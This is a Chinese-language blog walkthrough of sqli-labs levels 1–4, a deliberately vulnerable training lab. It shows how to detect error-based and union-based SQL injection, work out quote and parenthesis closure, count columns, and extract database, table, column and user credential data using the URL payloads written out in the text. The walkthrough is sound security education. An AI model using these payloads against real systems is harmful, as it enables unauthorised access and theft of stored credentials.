less 1-4


注:由于为了更方便学习,我在网页源码后面把sql语句输出出来了方便学习,实际学习的时候是要看报错自己推理测试的

爆数据库常用的代码集合

#爆所有数据库名
select GROUP_CONCAT(schema_name)FROM information_schema.schemata

#爆某数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema="数据库名" 

#爆所有列名
select group_concat(column_name) from information_schema.columns where table_name="表名" 

#爆某一列的所有数据
SELECT GROUP_CONCAT(列名) FROM 表名

一.less1 —— 字符注入(单引号闭合)

1.首先判断注入的类型:

方法:先在后面加一个单引号 ‘ 测试一下(注意别用中文单引号)

127.0.0.1/sqli-labs/Less-1/?id=1'

会出现报错,报错内容如下(报错说明程序员未对输入内容进行过滤)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

可以猜它的sql语句如下

#原sql语句:
select xx from xx where id='1'
#注入后的sql语句变成了:
select xx from xx where id='1''
#不能构成合法的sql语句会报错,可以进行字符型注入

2.判断完是字符型注入,想要把第三个单引号进行注释掉就能构造闭合,然后自己添加后续的sql语句

方法:在4的后面加一个单引号 ‘, 可以构成闭合,这个时候用 –+或者#注释掉第三个单引号以及后面的内容,加号会被自动解析成空格

http://127.0.0.1/sqli-labs/Less-1/?id=4' or 1=2 --+

此时构造的sql语句

select xx from xx where id='1'or 1=1;

#回显的内容:
SELECT * FROM users WHERE id='4' and 1=1 -- ' LIMIT 0,1

3.分析列数(为联合查询铺垫)

方法:order by 分析列数(二分最快)
这里到order by 3的时候可以正常回显,大于3的时候会报错,无法正确回显

127.0.0.1/sqli-labs/Less-1/?id=4' order by 4 --+

4.进行union联合注入

补充:union联合查询的规则:将后面的表的数据插入到前面的表的后面然后一起显示(可能叙述有不太准确的地方)
1.先测试一下数据在哪里进行显示的:

http://127.0.0.1/sqli-labs/Less-1/id=-1'union select 100,2,3--+
注意这里id是-1

当把id改成-1后,这时页面显示的结果如下,原因在于主表的数据查不到然后联合的那个数据(100,2,3),如果id合法的话2和3不会显示出来

结论:经过分析可知,三列里,只有第二第三个参数能回显,第一个应该是没什么用的

为了更直观的感受上面的注入和数据库中表的关系,可以看一下下面sql语句执行的实际效果

显然,如果id=1的话,新添的数据被加在了联合表的后面,并且第一个参数是id,确实不会正确回显,第二第三个参数是username和password


进行敏感操作(1-4关都这样,主要在第一关详细讲)

当我们对数据回显位置有了了解之后,就可以在联合查询语句中进行查询敏感信息了
1.比如得到所有数据库的名字
注1:因为知道了参数对应的回显位置,所以下面让password的位置回显数据
注2:利用group_concat(字段名)来吧需要的字段的数据聚合到一个组然后输出

http://127.0.0.1/sqli-labs/Less-1/?id=-1' 
union select 1,2,GROUP_CONCAT(schema_name)FROM information_schema.schemata--+

结果图

2.爆security数据库的所有表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

结果图

3.爆users表的列

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

结果图

4.爆数据

把id=2的username和password找出来
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,username,password from users where id=2 --+

对应的sql语句是

SELECT*FROM users WHERE id='-1' UNION SELECT 1,username,PASSWORD FROM users WHERE id=2 

结果图

在sqlyog中的展示:


注:把上面group_cancat(xx)改为count()即可得知所需数据的个数*

二.less2 —— 整型注入

less2和less1的步骤差不多,下面省略不写了,只写主要部分
分析:
当id等于1的时候可以正常回显

http://127.0.0.1/sqli-labs/Less-2/?id=1

1.首先判断注入类型

报错内容(这里的报错和less1中的是不一样的):

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

DMtebj.png

可以猜测到它的sql语句是

#原sql语句是:
select xx from xx where id=xx
#注入后的sql语句是
select xx from xx where id=xx'
#不符合sql语法格式不能正常回显

2.分析列数(为联合查询铺垫)

同less1 ,order by 3 为最大值

3.进行union联合注入

由于整型注入就不用考虑闭合的问题了

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3


三.less3 —— 字符注入(单引号+括号闭合)

1.测试注入类型
后面加 id=1’,出现如下报错。后面加 id=1”可以正常回显
报错内容:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1


说明是字符型注入
猜测可以猜测到它的sql语句是

原sql语句是:
select xx from xx where id=('xx')
#注入后的sql语句是:
select xx from xx where id=('xx'')
#不符合sql语法

2.分析列数(为联合查询铺垫)

同less1 ,order by 3 为最大值

3.进行union联合注入

分析:对于(‘xx’),我们可以通过注释掉后半部分 ‘) ,然后进行手动构造闭合

http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3--+

此时构成的sql语句是:

select xx from xx where id=('1') union select 1,2,3 --+') 

这样就实现手动构造 ‘)并且在外面加了联合注入
效果图


四.less4 —— 字符注入(双引号+括号闭合)

1.测试注入类型

后面加 id=1”,出现如下报错。后面加 id=1’可以正常回显
报错内容(注意看和less3的报错区别)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1


说明是字符型注入
猜测可以猜测到它的sql语句是

原sql语句是:
select xx from xx where id=("xx")
#注入后的sql语句是:
select xx from xx where id=("xx"")
#不符合sql语法

2.分析列数(为联合查询铺垫)

同less1 ,order by 3 为最大值

3.进行union联合注入

分析:构造闭合的方式同 less3,知识单引号变成双引号而已

构造方式:

http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+

五.总结

SQL注入基础-判断闭合形式

SELECT * FROM `users` WHERE id= 1;#整形闭合
SELECT * FROM `users` WHERE id='1'; #单引号闭合
SELECT * FROM `users` WHERE id="1";#双引号闭合
SELECT * FROM `users` WHERE id=(1);#单括号闭合
SELECT * FROM `users` WHERE id=('1');#单引号加括号
SELECT * FROM `users` WHERE id=("1");#双引号加括号

步骤:

  • 1.注意看上面的报错内容,通过报错内容推里原sql语句的形式
  • 2.用order by 分析列数
  • 3.思考闭合的形式然后使用联合注入进行信息提取

文章作者: 灿若星河
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 灿若星河 !
评论
 上一篇
刷sqli-labs的前置知识 刷sqli-labs的前置知识
需要使用到的网站以及工具firefox插件: Hackbar:方便修改网址测试 HTTPHeader Live:查看请求头 ModHearder:修改请求头 Cookie-Editor:修改cookie 字符进制转换的网站:https:
2020-11-20 灿若星河
下一篇 
php基础笔记 php基础笔记
写在前面:PHP语句分隔符:1、在PHP中,代码以行为单位,系统需要通过判断行的结束,通常都用;表示结束。注注注:PHP中标记结束符?>有自带语句结束符的效果,最后一行PHP代码可以没有语句结束符。2、PHP中代码的书写并不是全嵌入到
2020-11-18 灿若星河
  目录